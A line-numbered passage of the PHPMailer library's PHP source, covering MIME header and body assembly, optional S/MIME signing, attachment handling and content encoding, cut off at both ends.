  4180.  
  4181. }
  4182.  
  4183. if (!$this->sign_key_file) {
  4184.  
  4185. $result .= $this->headerLine('MIME-Version', '1.0');
  4186.  
  4187. $result .= $this->getMailMIME();
  4188.  
  4189. }
  4190.  
  4191.  
  4192.  
  4193. return $result;
  4194.  
  4195. }
  4196.  
  4197.  
  4198.  
  4199. /**
  4200.  
  4201. * Get the message MIME type headers.
  4202.  
  4203. * @access public
  4204.  
  4205. * @return string
  4206.  
  4207. */
  4208.  
  4209. public function getMailMIME()
  4210.  
  4211. {
  4212.  
  4213. $result = '';
  4214.  
  4215. $ismultipart = true;
  4216.  
  4217. switch ($this->message_type) {
  4218.  
  4219. case 'inline':
  4220.  
  4221. $result .= $this->headerLine('Content-Type', 'multipart/related;');
  4222.  
  4223. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  4224.  
  4225. break;
  4226.  
  4227. case 'attach':
  4228.  
  4229. case 'inline_attach':
  4230.  
  4231. case 'alt_attach':
  4232.  
  4233. case 'alt_inline_attach':
  4234.  
  4235. $result .= $this->headerLine('Content-Type', 'multipart/mixed;');
  4236.  
  4237. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  4238.  
  4239. break;
  4240.  
  4241. case 'alt':
  4242.  
  4243. case 'alt_inline':
  4244.  
  4245. $result .= $this->headerLine('Content-Type', 'multipart/alternative;');
  4246.  
  4247. $result .= $this->textLine("\tboundary=\"" . $this->boundary[1] . '"');
  4248.  
  4249. break;
  4250.  
  4251. default:
  4252.  
  4253. // Catches case 'plain': and case '':
  4254.  
  4255. $result .= $this->textLine('Content-Type: ' . $this->ContentType . '; charset=' . $this->CharSet);
  4256.  
  4257. $ismultipart = false;
  4258.  
  4259. break;
  4260.  
  4261. }
  4262.  
  4263. // RFC1341 part 5 says 7bit is assumed if not specified
  4264.  
  4265. if ($this->Encoding != '7bit') {
  4266.  
  4267. // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE
  4268.  
  4269. if ($ismultipart) {
  4270.  
  4271. if ($this->Encoding == '8bit') {
  4272.  
  4273. $result .= $this->headerLine('Content-Transfer-Encoding', '8bit');
  4274.  
  4275. }
  4276.  
  4277. // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible
  4278.  
  4279. } else {
  4280.  
  4281. $result .= $this->headerLine('Content-Transfer-Encoding', $this->Encoding);
  4282.  
  4283. }
  4284.  
  4285. }
  4286.  
  4287.  
  4288.  
  4289. if ($this->Mailer != 'mail') {
  4290.  
  4291. $result .= $this->LE;
  4292.  
  4293. }
  4294.  
  4295.  
  4296.  
  4297. return $result;
  4298.  
  4299. }
  4300.  
  4301.  
  4302.  
  4303. /**
  4304.  
  4305. * Returns the whole MIME message.
  4306.  
  4307. * Includes complete headers and body.
  4308.  
  4309. * Only valid post preSend().
  4310.  
  4311. * @see PHPMailer::preSend()
  4312.  
  4313. * @access public
  4314.  
  4315. * @return string
  4316.  
  4317. */
  4318.  
  4319. public function getSentMIMEMessage()
  4320.  
  4321. {
  4322.  
  4323. return $this->MIMEHeader . $this->mailHeader . self::CRLF . $this->MIMEBody;
  4324.  
  4325. }
  4326.  
  4327.  
  4328.  
  4329. /**
  4330.  
  4331. * Assemble the message body.
  4332.  
  4333. * Returns an empty string on failure.
  4334.  
  4335. * @access public
  4336.  
  4337. * @throws phpmailerException
  4338.  
  4339. * @return string The assembled message body
  4340.  
  4341. */
  4342.  
  4343. public function createBody()
  4344.  
  4345. {
  4346.  
  4347. $body = '';
  4348.  
  4349. //Create unique IDs and preset boundaries
  4350.  
  4351. $this->uniqueid = md5(uniqid(time()));
  4352.  
  4353. $this->boundary[1] = 'b1_' . $this->uniqueid;
  4354.  
  4355. $this->boundary[2] = 'b2_' . $this->uniqueid;
  4356.  
  4357. $this->boundary[3] = 'b3_' . $this->uniqueid;
  4358.  
  4359.  
  4360.  
  4361. if ($this->sign_key_file) {
  4362.  
  4363. $body .= $this->getMailMIME() . $this->LE;
  4364.  
  4365. }
  4366.  
  4367.  
  4368.  
  4369. $this->setWordWrap();
  4370.  
  4371.  
  4372.  
  4373. $bodyEncoding = $this->Encoding;
  4374.  
  4375. $bodyCharSet = $this->CharSet;
  4376.  
  4377. //Can we do a 7-bit downgrade?
  4378.  
  4379. if ($bodyEncoding == '8bit' and !$this->has8bitChars($this->Body)) {
  4380.  
  4381. $bodyEncoding = '7bit';
  4382.  
  4383. $bodyCharSet = 'us-ascii';
  4384.  
  4385. }
  4386.  
  4387. //If lines are too long, and we're not already using an encoding that will shorten them,
  4388.  
  4389. //change to quoted-printable transfer encoding
  4390.  
  4391. if ('base64' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {
  4392.  
  4393. $this->Encoding = 'quoted-printable';
  4394.  
  4395. $bodyEncoding = 'quoted-printable';
  4396.  
  4397. }
  4398.  
  4399.  
  4400.  
  4401. $altBodyEncoding = $this->Encoding;
  4402.  
  4403. $altBodyCharSet = $this->CharSet;
  4404.  
  4405. //Can we do a 7-bit downgrade?
  4406.  
  4407. if ($altBodyEncoding == '8bit' and !$this->has8bitChars($this->AltBody)) {
  4408.  
  4409. $altBodyEncoding = '7bit';
  4410.  
  4411. $altBodyCharSet = 'us-ascii';
  4412.  
  4413. }
  4414.  
  4415. //If lines are too long, and we're not already using an encoding that will shorten them,
  4416.  
  4417. //change to quoted-printable transfer encoding
  4418.  
  4419. if ('base64' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {
  4420.  
  4421. $altBodyEncoding = 'quoted-printable';
  4422.  
  4423. }
  4424.  
  4425. //Use this as a preamble in all multipart message types
  4426.  
  4427. $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;
  4428.  
  4429. switch ($this->message_type) {
  4430.  
  4431. case 'inline':
  4432.  
  4433. $body .= $mimepre;
  4434.  
  4435. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  4436.  
  4437. $body .= $this->encodeString($this->Body, $bodyEncoding);
  4438.  
  4439. $body .= $this->LE . $this->LE;
  4440.  
  4441. $body .= $this->attachAll('inline', $this->boundary[1]);
  4442.  
  4443. break;
  4444.  
  4445. case 'attach':
  4446.  
  4447. $body .= $mimepre;
  4448.  
  4449. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, '', $bodyEncoding);
  4450.  
  4451. $body .= $this->encodeString($this->Body, $bodyEncoding);
  4452.  
  4453. $body .= $this->LE . $this->LE;
  4454.  
  4455. $body .= $this->attachAll('attachment', $this->boundary[1]);
  4456.  
  4457. break;
  4458.  
  4459. case 'inline_attach':
  4460.  
  4461. $body .= $mimepre;
  4462.  
  4463. $body .= $this->textLine('--' . $this->boundary[1]);
  4464.  
  4465. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  4466.  
  4467. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  4468.  
  4469. $body .= $this->LE;
  4470.  
  4471. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, '', $bodyEncoding);
  4472.  
  4473. $body .= $this->encodeString($this->Body, $bodyEncoding);
  4474.  
  4475. $body .= $this->LE . $this->LE;
  4476.  
  4477. $body .= $this->attachAll('inline', $this->boundary[2]);
  4478.  
  4479. $body .= $this->LE;
  4480.  
  4481. $body .= $this->attachAll('attachment', $this->boundary[1]);
  4482.  
  4483. break;
  4484.  
  4485. case 'alt':
  4486.  
  4487. $body .= $mimepre;
  4488.  
  4489. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  4490.  
  4491. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  4492.  
  4493. $body .= $this->LE . $this->LE;
  4494.  
  4495. $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, 'text/html', $bodyEncoding);
  4496.  
  4497. $body .= $this->encodeString($this->Body, $bodyEncoding);
  4498.  
  4499. $body .= $this->LE . $this->LE;
  4500.  
  4501. if (!empty($this->Ical)) {
  4502.  
  4503. $body .= $this->getBoundary($this->boundary[1], '', 'text/calendar; method=REQUEST', '');
  4504.  
  4505. $body .= $this->encodeString($this->Ical, $this->Encoding);
  4506.  
  4507. $body .= $this->LE . $this->LE;
  4508.  
  4509. }
  4510.  
  4511. $body .= $this->endBoundary($this->boundary[1]);
  4512.  
  4513. break;
  4514.  
  4515. case 'alt_inline':
  4516.  
  4517. $body .= $mimepre;
  4518.  
  4519. $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  4520.  
  4521. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  4522.  
  4523. $body .= $this->LE . $this->LE;
  4524.  
  4525. $body .= $this->textLine('--' . $this->boundary[1]);
  4526.  
  4527. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  4528.  
  4529. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  4530.  
  4531. $body .= $this->LE;
  4532.  
  4533. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  4534.  
  4535. $body .= $this->encodeString($this->Body, $bodyEncoding);
  4536.  
  4537. $body .= $this->LE . $this->LE;
  4538.  
  4539. $body .= $this->attachAll('inline', $this->boundary[2]);
  4540.  
  4541. $body .= $this->LE;
  4542.  
  4543. $body .= $this->endBoundary($this->boundary[1]);
  4544.  
  4545. break;
  4546.  
  4547. case 'alt_attach':
  4548.  
  4549. $body .= $mimepre;
  4550.  
  4551. $body .= $this->textLine('--' . $this->boundary[1]);
  4552.  
  4553. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  4554.  
  4555. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  4556.  
  4557. $body .= $this->LE;
  4558.  
  4559. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  4560.  
  4561. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  4562.  
  4563. $body .= $this->LE . $this->LE;
  4564.  
  4565. $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, 'text/html', $bodyEncoding);
  4566.  
  4567. $body .= $this->encodeString($this->Body, $bodyEncoding);
  4568.  
  4569. $body .= $this->LE . $this->LE;
  4570.  
  4571. $body .= $this->endBoundary($this->boundary[2]);
  4572.  
  4573. $body .= $this->LE;
  4574.  
  4575. $body .= $this->attachAll('attachment', $this->boundary[1]);
  4576.  
  4577. break;
  4578.  
  4579. case 'alt_inline_attach':
  4580.  
  4581. $body .= $mimepre;
  4582.  
  4583. $body .= $this->textLine('--' . $this->boundary[1]);
  4584.  
  4585. $body .= $this->headerLine('Content-Type', 'multipart/alternative;');
  4586.  
  4587. $body .= $this->textLine("\tboundary=\"" . $this->boundary[2] . '"');
  4588.  
  4589. $body .= $this->LE;
  4590.  
  4591. $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, 'text/plain', $altBodyEncoding);
  4592.  
  4593. $body .= $this->encodeString($this->AltBody, $altBodyEncoding);
  4594.  
  4595. $body .= $this->LE . $this->LE;
  4596.  
  4597. $body .= $this->textLine('--' . $this->boundary[2]);
  4598.  
  4599. $body .= $this->headerLine('Content-Type', 'multipart/related;');
  4600.  
  4601. $body .= $this->textLine("\tboundary=\"" . $this->boundary[3] . '"');
  4602.  
  4603. $body .= $this->LE;
  4604.  
  4605. $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, 'text/html', $bodyEncoding);
  4606.  
  4607. $body .= $this->encodeString($this->Body, $bodyEncoding);
  4608.  
  4609. $body .= $this->LE . $this->LE;
  4610.  
  4611. $body .= $this->attachAll('inline', $this->boundary[3]);
  4612.  
  4613. $body .= $this->LE;
  4614.  
  4615. $body .= $this->endBoundary($this->boundary[2]);
  4616.  
  4617. $body .= $this->LE;
  4618.  
  4619. $body .= $this->attachAll('attachment', $this->boundary[1]);
  4620.  
  4621. break;
  4622.  
  4623. default:
  4624.  
  4625. // catch case 'plain' and case ''
  4626.  
  4627. $body .= $this->encodeString($this->Body, $bodyEncoding);
  4628.  
  4629. break;
  4630.  
  4631. }
  4632.  
  4633.  
  4634.  
  4635. if ($this->isError()) {
  4636.  
  4637. $body = '';
  4638.  
  4639. } elseif ($this->sign_key_file) {
  4640.  
  4641. try {
  4642.  
  4643. if (!defined('PKCS7_TEXT')) {
  4644.  
  4645. throw new phpmailerException($this->lang('extension_missing') . 'openssl');
  4646.  
  4647. }
  4648.  
  4649. // @TODO would be nice to use php://temp streams here, but need to wrap for PHP < 5.1
  4650.  
  4651. $file = tempnam(sys_get_temp_dir(), 'mail');
  4652.  
  4653. if (false === file_put_contents($file, $body)) {
  4654.  
  4655. throw new phpmailerException($this->lang('signing') . ' Could not write temp file');
  4656.  
  4657. }
  4658.  
  4659. $signed = tempnam(sys_get_temp_dir(), 'signed');
  4660.  
  4661. //Workaround for PHP bug https://bugs.php.net/bug.php?id=69197
  4662.  
  4663. if (empty($this->sign_extracerts_file)) {
  4664.  
  4665. $sign = @openssl_pkcs7_sign(
  4666.  
  4667. $file,
  4668.  
  4669. $signed,
  4670.  
  4671. 'file://' . realpath($this->sign_cert_file),
  4672.  
  4673. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  4674.  
  4675. null
  4676.  
  4677. );
  4678.  
  4679. } else {
  4680.  
  4681. $sign = @openssl_pkcs7_sign(
  4682.  
  4683. $file,
  4684.  
  4685. $signed,
  4686.  
  4687. 'file://' . realpath($this->sign_cert_file),
  4688.  
  4689. array('file://' . realpath($this->sign_key_file), $this->sign_key_pass),
  4690.  
  4691. null,
  4692.  
  4693. PKCS7_DETACHED,
  4694.  
  4695. $this->sign_extracerts_file
  4696.  
  4697. );
  4698.  
  4699. }
  4700.  
  4701. if ($sign) {
  4702.  
  4703. @unlink($file);
  4704.  
  4705. $body = file_get_contents($signed);
  4706.  
  4707. @unlink($signed);
  4708.  
  4709. //The message returned by openssl contains both headers and body, so need to split them up
  4710.  
  4711. $parts = explode("\n\n", $body, 2);
  4712.  
  4713. $this->MIMEHeader .= $parts[0] . $this->LE . $this->LE;
  4714.  
  4715. $body = $parts[1];
  4716.  
  4717. } else {
  4718.  
  4719. @unlink($file);
  4720.  
  4721. @unlink($signed);
  4722.  
  4723. throw new phpmailerException($this->lang('signing') . openssl_error_string());
  4724.  
  4725. }
  4726.  
  4727. } catch (phpmailerException $exc) {
  4728.  
  4729. $body = '';
  4730.  
  4731. if ($this->exceptions) {
  4732.  
  4733. throw $exc;
  4734.  
  4735. }
  4736.  
  4737. }
  4738.  
  4739. }
  4740.  
  4741. return $body;
  4742.  
  4743. }
  4744.  
  4745.  
  4746.  
  4747. /**
  4748.  
  4749. * Return the start of a message boundary.
  4750.  
  4751. * @access protected
  4752.  
  4753. * @param string $boundary
  4754.  
  4755. * @param string $charSet
  4756.  
  4757. * @param string $contentType
  4758.  
  4759. * @param string $encoding
  4760.  
  4761. * @return string
  4762.  
  4763. */
  4764.  
  4765. protected function getBoundary($boundary, $charSet, $contentType, $encoding)
  4766.  
  4767. {
  4768.  
  4769. $result = '';
  4770.  
  4771. if ($charSet == '') {
  4772.  
  4773. $charSet = $this->CharSet;
  4774.  
  4775. }
  4776.  
  4777. if ($contentType == '') {
  4778.  
  4779. $contentType = $this->ContentType;
  4780.  
  4781. }
  4782.  
  4783. if ($encoding == '') {
  4784.  
  4785. $encoding = $this->Encoding;
  4786.  
  4787. }
  4788.  
  4789. $result .= $this->textLine('--' . $boundary);
  4790.  
  4791. $result .= sprintf('Content-Type: %s; charset=%s', $contentType, $charSet);
  4792.  
  4793. $result .= $this->LE;
  4794.  
  4795. // RFC1341 part 5 says 7bit is assumed if not specified
  4796.  
  4797. if ($encoding != '7bit') {
  4798.  
  4799. $result .= $this->headerLine('Content-Transfer-Encoding', $encoding);
  4800.  
  4801. }
  4802.  
  4803. $result .= $this->LE;
  4804.  
  4805.  
  4806.  
  4807. return $result;
  4808.  
  4809. }
  4810.  
  4811.  
  4812.  
  4813. /**
  4814.  
  4815. * Return the end of a message boundary.
  4816.  
  4817. * @access protected
  4818.  
  4819. * @param string $boundary
  4820.  
  4821. * @return string
  4822.  
  4823. */
  4824.  
  4825. protected function endBoundary($boundary)
  4826.  
  4827. {
  4828.  
  4829. return $this->LE . '--' . $boundary . '--' . $this->LE;
  4830.  
  4831. }
  4832.  
  4833.  
  4834.  
  4835. /**
  4836.  
  4837. * Set the message type.
  4838.  
  4839. * PHPMailer only supports some preset message types,
  4840.  
  4841. * not arbitrary MIME structures.
  4842.  
  4843. * @access protected
  4844.  
  4845. * @return void
  4846.  
  4847. */
  4848.  
  4849. protected function setMessageType()
  4850.  
  4851. {
  4852.  
  4853. $type = array();
  4854.  
  4855. if ($this->alternativeExists()) {
  4856.  
  4857. $type[] = 'alt';
  4858.  
  4859. }
  4860.  
  4861. if ($this->inlineImageExists()) {
  4862.  
  4863. $type[] = 'inline';
  4864.  
  4865. }
  4866.  
  4867. if ($this->attachmentExists()) {
  4868.  
  4869. $type[] = 'attach';
  4870.  
  4871. }
  4872.  
  4873. $this->message_type = implode('_', $type);
  4874.  
  4875. if ($this->message_type == '') {
  4876.  
  4877. $this->message_type = 'plain';
  4878.  
  4879. }
  4880.  
  4881. }
  4882.  
  4883.  
  4884.  
  4885. /**
  4886.  
  4887. * Format a header line.
  4888.  
  4889. * @access public
  4890.  
  4891. * @param string $name
  4892.  
  4893. * @param string $value
  4894.  
  4895. * @return string
  4896.  
  4897. */
  4898.  
  4899. public function headerLine($name, $value)
  4900.  
  4901. {
  4902.  
  4903. return $name . ': ' . $value . $this->LE;
  4904.  
  4905. }
  4906.  
  4907.  
  4908.  
  4909. /**
  4910.  
  4911. * Return a formatted mail line.
  4912.  
  4913. * @access public
  4914.  
  4915. * @param string $value
  4916.  
  4917. * @return string
  4918.  
  4919. */
  4920.  
  4921. public function textLine($value)
  4922.  
  4923. {
  4924.  
  4925. return $value . $this->LE;
  4926.  
  4927. }
  4928.  
  4929.  
  4930.  
  4931. /**
  4932.  
  4933. * Add an attachment from a path on the filesystem.
  4934.  
  4935. * Returns false if the file could not be found or read.
  4936.  
  4937. * @param string $path Path to the attachment.
  4938.  
  4939. * @param string $name Overrides the attachment name.
  4940.  
  4941. * @param string $encoding File encoding (see $Encoding).
  4942.  
  4943. * @param string $type File extension (MIME) type.
  4944.  
  4945. * @param string $disposition Disposition to use
  4946.  
  4947. * @throws phpmailerException
  4948.  
  4949. * @return boolean
  4950.  
  4951. */
  4952.  
  4953. public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')
  4954.  
  4955. {
  4956.  
  4957. try {
  4958.  
  4959. if (!@is_file($path)) {
  4960.  
  4961. throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);
  4962.  
  4963. }
  4964.  
  4965.  
  4966.  
  4967. // If a MIME type is not specified, try to work it out from the file name
  4968.  
  4969. if ($type == '') {
  4970.  
  4971. $type = self::filenameToType($path);
  4972.  
  4973. }
  4974.  
  4975.  
  4976.  
  4977. $filename = basename($path);
  4978.  
  4979. if ($name == '') {
  4980.  
  4981. $name = $filename;
  4982.  
  4983. }
  4984.  
  4985.  
  4986.  
  4987. $this->attachment[] = array(
  4988.  
  4989. 0 => $path,
  4990.  
  4991. 1 => $filename,
  4992.  
  4993. 2 => $name,
  4994.  
  4995. 3 => $encoding,
  4996.  
  4997. 4 => $type,
  4998.  
  4999. 5 => false, // isStringAttachment
  5000.  
  5001. 6 => $disposition,
  5002.  
  5003. 7 => 0
  5004.  
  5005. );
  5006.  
  5007.  
  5008.  
  5009. } catch (phpmailerException $exc) {
  5010.  
  5011. $this->setError($exc->getMessage());
  5012.  
  5013. $this->edebug($exc->getMessage());
  5014.  
  5015. if ($this->exceptions) {
  5016.  
  5017. throw $exc;
  5018.  
  5019. }
  5020.  
  5021. return false;
  5022.  
  5023. }
  5024.  
  5025. return true;
  5026.  
  5027. }
  5028.  
  5029.  
  5030.  
  5031. /**
  5032.  
  5033. * Return the array of attachments.
  5034.  
  5035. * @return array
  5036.  
  5037. */
  5038.  
  5039. public function getAttachments()
  5040.  
  5041. {
  5042.  
  5043. return $this->attachment;
  5044.  
  5045. }
  5046.  
  5047.  
  5048.  
  5049. /**
  5050.  
  5051. * Attach all file, string, and binary attachments to the message.
  5052.  
  5053. * Returns an empty string on failure.
  5054.  
  5055. * @access protected
  5056.  
  5057. * @param string $disposition_type
  5058.  
  5059. * @param string $boundary
  5060.  
  5061. * @return string
  5062.  
  5063. */
  5064.  
  5065. protected function attachAll($disposition_type, $boundary)
  5066.  
  5067. {
  5068.  
  5069. // Return text of body
  5070.  
  5071. $mime = array();
  5072.  
  5073. $cidUniq = array();
  5074.  
  5075. $incl = array();
  5076.  
  5077.  
  5078.  
  5079. // Add all attachments
  5080.  
  5081. foreach ($this->attachment as $attachment) {
  5082.  
  5083. // Check if it is a valid disposition_filter
  5084.  
  5085. if ($attachment[6] == $disposition_type) {
  5086.  
  5087. // Check for string attachment
  5088.  
  5089. $string = '';
  5090.  
  5091. $path = '';
  5092.  
  5093. $bString = $attachment[5];
  5094.  
  5095. if ($bString) {
  5096.  
  5097. $string = $attachment[0];
  5098.  
  5099. } else {
  5100.  
  5101. $path = $attachment[0];
  5102.  
  5103. }
  5104.  
  5105.  
  5106.  
  5107. $inclhash = md5(serialize($attachment));
  5108.  
  5109. if (in_array($inclhash, $incl)) {
  5110.  
  5111. continue;
  5112.  
  5113. }
  5114.  
  5115. $incl[] = $inclhash;
  5116.  
  5117. $name = $attachment[2];
  5118.  
  5119. $encoding = $attachment[3];
  5120.  
  5121. $type = $attachment[4];
  5122.  
  5123. $disposition = $attachment[6];
  5124.  
  5125. $cid = $attachment[7];
  5126.  
  5127. if ($disposition == 'inline' && array_key_exists($cid, $cidUniq)) {
  5128.  
  5129. continue;
  5130.  
  5131. }
  5132.  
  5133. $cidUniq[$cid] = true;
  5134.  
  5135.  
  5136.  
  5137. $mime[] = sprintf('--%s%s', $boundary, $this->LE);
  5138.  
  5139. //Only include a filename property if we have one
  5140.  
  5141. if (!empty($name)) {
  5142.  
  5143. $mime[] = sprintf(
  5144.  
  5145. 'Content-Type: %s; name="%s"%s',
  5146.  
  5147. $type,
  5148.  
  5149. $this->encodeHeader($this->secureHeader($name)),
  5150.  
  5151. $this->LE
  5152.  
  5153. );
  5154.  
  5155. } else {
  5156.  
  5157. $mime[] = sprintf(
  5158.  
  5159. 'Content-Type: %s%s',
  5160.  
  5161. $type,
  5162.  
  5163. $this->LE
  5164.  
  5165. );
  5166.  
  5167. }
  5168.  
  5169. // RFC1341 part 5 says 7bit is assumed if not specified
  5170.  
  5171. if ($encoding != '7bit') {
  5172.  
  5173. $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);
  5174.  
  5175. }
  5176.  
  5177.  
  5178.  
  5179. if ($disposition == 'inline') {
  5180.  
  5181. $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);
  5182.  
  5183. }
  5184.  
  5185.  
  5186.  
  5187. // If a filename contains any of these chars, it should be quoted,
  5188.  
  5189. // but not otherwise: RFC2183 & RFC2045 5.1
  5190.  
  5191. // Fixes a warning in IETF's msglint MIME checker
  5192.  
  5193. // Allow for bypassing the Content-Disposition header totally
  5194.  
  5195. if (!(empty($disposition))) {
  5196.  
  5197. $encoded_name = $this->encodeHeader($this->secureHeader($name));
  5198.  
  5199. if (preg_match('/[ \(\)<>@,;:\\"\/\[\]\?=]/', $encoded_name)) {
  5200.  
  5201. $mime[] = sprintf(
  5202.  
  5203. 'Content-Disposition: %s; filename="%s"%s',
  5204.  
  5205. $disposition,
  5206.  
  5207. $encoded_name,
  5208.  
  5209. $this->LE . $this->LE
  5210.  
  5211. );
  5212.  
  5213. } else {
  5214.  
  5215. if (!empty($encoded_name)) {
  5216.  
  5217. $mime[] = sprintf(
  5218.  
  5219. 'Content-Disposition: %s; filename=%s%s',
  5220.  
  5221. $disposition,
  5222.  
  5223. $encoded_name,
  5224.  
  5225. $this->LE . $this->LE
  5226.  
  5227. );
  5228.  
  5229. } else {
  5230.  
  5231. $mime[] = sprintf(
  5232.  
  5233. 'Content-Disposition: %s%s',
  5234.  
  5235. $disposition,
  5236.  
  5237. $this->LE . $this->LE
  5238.  
  5239. );
  5240.  
  5241. }
  5242.  
  5243. }
  5244.  
  5245. } else {
  5246.  
  5247. $mime[] = $this->LE;
  5248.  
  5249. }
  5250.  
  5251.  
  5252.  
  5253. // Encode as string attachment
  5254.  
  5255. if ($bString) {
  5256.  
  5257. $mime[] = $this->encodeString($string, $encoding);
  5258.  
  5259. if ($this->isError()) {
  5260.  
  5261. return '';
  5262.  
  5263. }
  5264.  
  5265. $mime[] = $this->LE . $this->LE;
  5266.  
  5267. } else {
  5268.  
  5269. $mime[] = $this->encodeFile($path, $encoding);
  5270.  
  5271. if ($this->isError()) {
  5272.  
  5273. return '';
  5274.  
  5275. }
  5276.  
  5277. $mime[] = $this->LE . $this->LE;
  5278.  
  5279. }
  5280.  
  5281. }
  5282.  
  5283. }
  5284.  
  5285.  
  5286.  
  5287. $mime[] = sprintf('--%s--%s', $boundary, $this->LE);
  5288.  
  5289.  
  5290.  
  5291. return implode('', $mime);
  5292.  
  5293. }
  5294.  
  5295.  
  5296.  
  5297. /**
  5298.  
  5299. * Encode a file attachment in requested format.
  5300.  
  5301. * Returns an empty string on failure.
  5302.  
  5303. * @param string $path The full path to the file
  5304.  
  5305. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  5306.  
  5307. * @throws phpmailerException
  5308.  
  5309. * @access protected
  5310.  
  5311. * @return string
  5312.  
  5313. */
  5314.  
  5315. protected function encodeFile($path, $encoding = 'base64')
  5316.  
  5317. {
  5318.  
  5319. try {
  5320.  
  5321. if (!is_readable($path)) {
  5322.  
  5323. throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);
  5324.  
  5325. }
  5326.  
  5327. $magic_quotes = get_magic_quotes_runtime();
  5328.  
  5329. if ($magic_quotes) {
  5330.  
  5331. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  5332.  
  5333. set_magic_quotes_runtime(false);
  5334.  
  5335. } else {
  5336.  
  5337. //Doesn't exist in PHP 5.4, but we don't need to check because
  5338.  
  5339. //get_magic_quotes_runtime always returns false in 5.4+
  5340.  
  5341. //so it will never get here
  5342.  
  5343. ini_set('magic_quotes_runtime', false);
  5344.  
  5345. }
  5346.  
  5347. }
  5348.  
  5349. $file_buffer = file_get_contents($path);
  5350.  
  5351. $file_buffer = $this->encodeString($file_buffer, $encoding);
  5352.  
  5353. if ($magic_quotes) {
  5354.  
  5355. if (version_compare(PHP_VERSION, '5.3.0', '<')) {
  5356.  
  5357. set_magic_quotes_runtime($magic_quotes);
  5358.  
  5359. } else {
  5360.  
  5361. ini_set('magic_quotes_runtime', $magic_quotes);
  5362.  
  5363. }
  5364.  
  5365. }
  5366.  
  5367. return $file_buffer;
  5368.  
  5369. } catch (Exception $exc) {
  5370.  
  5371. $this->setError($exc->getMessage());
  5372.  
  5373. return '';
  5374.  
  5375. }
  5376.  
  5377. }
  5378.  
  5379.  
  5380.  
  5381. /**
  5382.  
  5383. * Encode a string in requested format.
  5384.  
  5385. * Returns an empty string on failure.
  5386.  
  5387. * @param string $str The text to encode
  5388.  
  5389. * @param string $encoding The encoding to use; one of 'base64', '7bit', '8bit', 'binary', 'quoted-printable'
  5390.  
  5391. * @access public
  5392.  
  5393. * @return string
  5394.  
  5395. */
  5396.  
  5397. public function encodeString($str, $encoding = 'base64')
  5398.  
  5399. {
  5400.  
  5401. $encoded = '';
  5402.  
  5403. switch (strtolower($encoding)) {
  5404.  
  5405. case 'base64':
  5406.  
  5407. $encoded = chunk_split(base64_encode($str), 76, $this->LE);
  5408.  
  5409. break;
  5410.  
  5411. case '7bit':
  5412.  
  5413. case '8bit':
  5414.  
  5415. $encoded = $this->fixEOL($str);
  5416.  
  5417. // Make sure it ends with a line break
  5418.  
  5419. if (substr($encoded, -(strlen($this->LE))) != $this->LE) {
  5420.  
  5421. $encoded .= $this->LE;
  5422.  
  5423. }
  5424.  
  5425. break;
  5426.  
  5427. case 'binary':
  5428.  
  5429. $encoded = $str;
  5430.  
  5431. break;
  5432.  
  5433. case 'quoted-printable':
  5434.  
  5435. $encoded = $this->encodeQP($str);
  5436.  
  5437. break;
  5438.  
  5439. default:
  5440.  
  5441. $this->setError($this->lang('encoding') . $encoding);
  5442.  
  5443. break;
  5444.  
  5445. }
  5446.  
  5447. return $encoded;
  5448.  
  5449. }
  5450.  
  5451.  
  5452.  
  5453. /**
  5454.  
  5455. * Encode a header string optimally.
  5456.  
  5457. * Picks shortest of Q, B, quoted-printable or none.
  5458.  
  5459. * @access public
  5460.  
  5461. * @param string $str
  5462.  
  5463. * @param string $position
  5464.  
  5465. * @return string
  5466.  
  5467. */
  5468.  
  5469. public function encodeHeader($str, $position = 'text')
  5470.  
  5471. {
  5472.  
  5473. $matchcount = 0;
  5474.  
  5475. switch (strtolower($position)) {
  5476.  
  5477. case 'phrase':
  5478.  
  5479. if (!preg_match('/[\200-\377]/', $str)) {
  5480.  
  5481. // Can't use addslashes as we don't know the value of magic_quotes_sybase
  5482.  
  5483. $encoded = addcslashes($str, "\0..\37\177\\\"");
  5484.  
  5485. if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
  5486.  
  5487. return ($encoded);
  5488.  
  5489. } else {
  5490.  
  5491. return ("\"$encoded\"");
  5492.  
  5493. }
  5494.  
  5495. }
  5496.  
  5497. $matchcount = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
  5498.  
